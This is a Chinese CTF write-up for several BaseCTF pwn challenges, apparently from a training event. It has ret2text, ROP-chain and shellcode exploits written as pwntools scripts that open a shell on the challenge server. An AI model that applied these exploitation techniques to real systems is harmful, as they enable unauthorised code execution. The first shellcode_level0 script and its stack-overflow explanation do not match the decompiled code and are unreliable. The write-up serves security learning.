签个到吧 Hint:怎么连接靶机呢 $ nc gz.imxbt.cn 20605 ls cat flag
echo Hint:binsh目录下只有echo? echo flag?? $ nc gz.imxbt.cn 20139 ls /bin/bash: line 1: ls : command not found echo flagflag ./flag ./flag: line 1: BaseCTF{}: command not found 或者 echo `</flag`
Ret2text Hint:原来栈是可以溢出的!
点击下载: Ret2text
→ checksec Ret2text Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
64位,启用了栈执行保护,进一步增强 NX 机制,明确禁止栈内存执行代码。
int __fastcall main (int argc, const char **argv, const char **envp) { char buf[32 ]; read(0 , buf, 0x100u LL); return 0 ; } int dt_gift () { puts ("lol,you get dt's gitf" ); return system("/bin/sh" ); }
.text:00000000004011A4 public dt_gift .text:00000000004011A4 dt_gift proc near .text:00000000004011A4 ; __unwind { .text:00000000004011A4 endbr64 .text:00000000004011A8 push rbp .text:00000000004011A9 mov rbp, rsp .text:00000000004011AC lea rax, s ; "lol,you get dt's gitf" .text:00000000004011B3 mov rdi, rax ; s .text:00000000004011B6 call _puts .text:00000000004011BB lea rax, command ; "/bin/sh" .text:00000000004011C2 mov rdi, rax ; command .text:00000000004011C5 mov eax, 0 .text:00000000004011CA call _system .text:00000000004011CF nop .text:00000000004011D0 pop rbp .text:00000000004011D1 retn .text:00000000004011D1 ; } // starts at 4011A4 .text:00000000004011D1 dt_gift endp .text:00000000004011D1 .text:00000000004011D1 _text ends
from pwn import *io=remote('gz.imxbt.cn' ,20138 ) addr=0x4011BB payload=b'b' *(0x20 +8 )+p64(addr) io.sendline(payload) io.interactive()
彻底失去她 Hint:函数好多参数怎么办,怎么找不到她了
点击下载: 彻底失去她
checksec一下
$ checksec pwn1 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
只有数据段不可执行保护,64位程序,扔进ida里
int __fastcall main (int argc, const char **argv, const char **envp) { char buf[10 ]; init(argc, argv, envp); puts ("Thank you for helping me find her." ); puts ("But she has left me for good this time, what should I do?" ); puts ("By the way, I still don't know your name, could you tell me your name?" ); read(0 , buf, 0x100u LL); return 0 ; }
发现本题仍有system函数,只是通过查找发现本题没有/bin/sh字符串,所以我们需要调用read函数,将/bin/sh写入.bss段后,再调用system函数,read函数的三个参数顺序位rdi rsi rdx,依次布置为0,buf,0x10,然后这时候read函数调用的就是read(0,buf,0x10)
查找一下相关命令的地址
$ ROPgadget --binary pwn1 --only 'pop|ret' Gadgets information ============================================================ 0x000000000040117d : pop rbp ; ret 0x0000000000401196 : pop rdi ; ret 0x0000000000401265 : pop rdx ; ret 0x00000000004011ad : pop rsi ; ret 0x000000000040101a : ret Unique gadgets found: 5
.bss:00000000004040A0 public buffer .bss:00000000004040A0 buffer db ? ;
from pwn import *io=remote("gz.imxbt.cn" ,20153 ) elf=ELF('./pwn1' ) system_plt=elf.plt['system' ] read=elf.sym['read' ] pop_rdi_ret=0x401196 pop_rsi_ret=0x4011ad pop_rdx_ret=0x401265 bss=0x4040a0 payload=b'a' *(0xa +8 ) payload+=p64(pop_rdi_ret)+p64(0 ) payload+=p64(pop_rsi_ret)+p64(bss) payload+=p64(pop_rdx_ret)+p64(0x10 ) payload+=p64(read) payload+=p64(pop_rdi_ret)+p64(bss)+p64(system_plt) io.sendline(payload) io.sendline(b'/bin/sh\x00' ) io.interactive()
我把她丢了 Hint:我把她丢了,你能帮我找到她吗
点击下载: 我把她丢了
checksec一下
$ checksec pwn2 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
发现文件只开启了数据段不可执行的保护,64位的可执行文件。接着丢进64位ida里
ssize_t vuln () { char buf[112 ]; puts ("I lost her, what should I do? Help me find her." ); return read(0 , buf, 0x150u LL); } int shell () { return system("echo I beleve you." ); }
发现了后门函数,可是后门函数中的参数不是我们所期待的/bin/sh,所以我们接下来有两种想法:1.查找该程序中是否含有/bin/sh,有则构造栈帧,将其作为system的参数进行调用
2.若不含有,则手动输入/bin/sh
通过查找发现/bin/sh存在
.rodata:0000000000402008 aBinSh db '/bin/sh',0 ; DATA XREF: .data:hidden_str↓o
所以,接下来我们就要构造栈帧,因为该程序为64位程序,64位程序传参和32位程序传参有差异:
当程序参数不超过6个时,参数按需使用rdi、rsi、rdx、rcx、r8d和r9d寄存器传递到子函数 当参数超过6个时,前6个参数传递方式不变,从第七个参数起,后面的参数都通过栈传递 所以我们需要找到pop_edi_ret指令的地址和ret的地址。
$ ROPgadget --binary pwn2 --only 'pop|ret' Gadgets information ============================================================ 0x000000000040117d : pop rbp ; ret 0x0000000000401196 : pop rdi ; ret 0x000000000040101a : ret Unique gadgets found: 3
接下来我们payload的构造思路为,先利用pop_edi_ret指令将/bin/sh字符串地址放在edi里,然后调用system函数的plt表,获取shell
from pwn import *io=remote("gz.imxbt.cn" ,20159 ) elf=ELF('./pwn2' ) bin_sh=0x402008 system_plt=elf.plt['system' ] pop_rdi_ret=0x401196 ret=0x40101a payload=b'a' *(0x70 +8 )+p64(pop_rdi_ret)+p64(bin_sh)+p64(ret)+p64(system_plt) io.sendline(payload) io.interactive()
高地址 +-----------------------------+ |system@plt 地址 | +-----------------------------+ | ret 地址 0x40101a | +-----------------------------+ | "/bin/sh" 地址 0x402008 | +-----------------------------+ | pop rdi; ret 地址 0x401196 | +-----------------------------+ |覆盖的ebp (8字节)(通常为垃圾值) | +-----------------------------+ |填充数据 (0x70字节) b'a' * 0x70 | +-----------------------------+ 低地址
shellcode_level0 Hint:该怎么样编写一段getshell的shellcode呢
点击下载: shellcode_level0
Checksec 查看保护
$ checksec shellcode_level0 Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No
开启了RELRO,这使得整个重定位表都是可读的,同时还开启了NX保护,使得数据段不可执行,文件为64位的可执行文件
int __fastcall main (int argc, const char **argv, const char **envp) { void *buf; init(argc, argv, envp); buf = mmap(0LL , 0x1000u LL, 7 , 34 , -1 , 0LL ); if ( buf == (void *)-1LL ) { perror("mmap" ); exit (1 ); } printf ("please input shellcode: " ); read(0 , buf, 0x100u LL); ((void (*)(void ))buf)(); return 0 ; }
通过检查未发现后门函数,且read函数存在栈溢出漏洞,所以此题的思路为构造shellcode,将shellcode写入可以控制的执行流内,并将函数的返回地址修改为shellcode所在的地址,从而获取shell。
──────────────────────────────────────────────[ STACK ]────────────────────────────────────────────── 00:0000│ rsp 0x7ffe7cd48cb8 —▸ 0x5885aecdf2ea (main+156) ◂— mov eax, 0 01:0008│-010 0x7ffe7cd48cc0 —▸ 0x787fa03bc000 ◂— 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa\n' 02:0010│-008 0x7ffe7cd48cc8 —▸ 0x787fa03bc000 ◂— 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa\n' 03:0018│ rbp 0x7ffe7cd48cd0 —▸ 0x7ffe7cd48d70 —▸ 0x7ffe7cd48dd0 ◂— 0 04:0020│+008 0x7ffe7cd48cd8 —▸ 0x787fa01ca1ca (__libc_start_call_main+122) ◂— mov edi, eax 05:0028│+010 0x7ffe7cd48ce0 —▸ 0x7ffe7cd48d20 —▸ 0x5885aece1d98 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5885aecdf1a0 (__do_global_dtors_aux) ◂— endbr64 06:0030│+018 0x7ffe7cd48ce8 —▸ 0x7ffe7cd48df8 —▸ 0x7ffe7cd4a6f4 ◂— '/CTF/shellcode_level0' 07:0038│+020 0x7ffe7cd48cf0 ◂— 0x1aecde040
溢出长度为0x18
from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) io=remote('gz.imxbt.cn' ,20145 ) shellcode=asm(shellcraft.amd64.sh()) buf_addr=0x10 payload=shellcode.ljust(0x18 ,b'a' )+p64(buf_addr) io.sendline(payload) io.interactive() 或者 from pwn import *context(arch='amd64' ) p=process('./shellcode_level0' ) shellcode=asm(shellcraft.sh()) p.sendline(shellcode) p.interactive()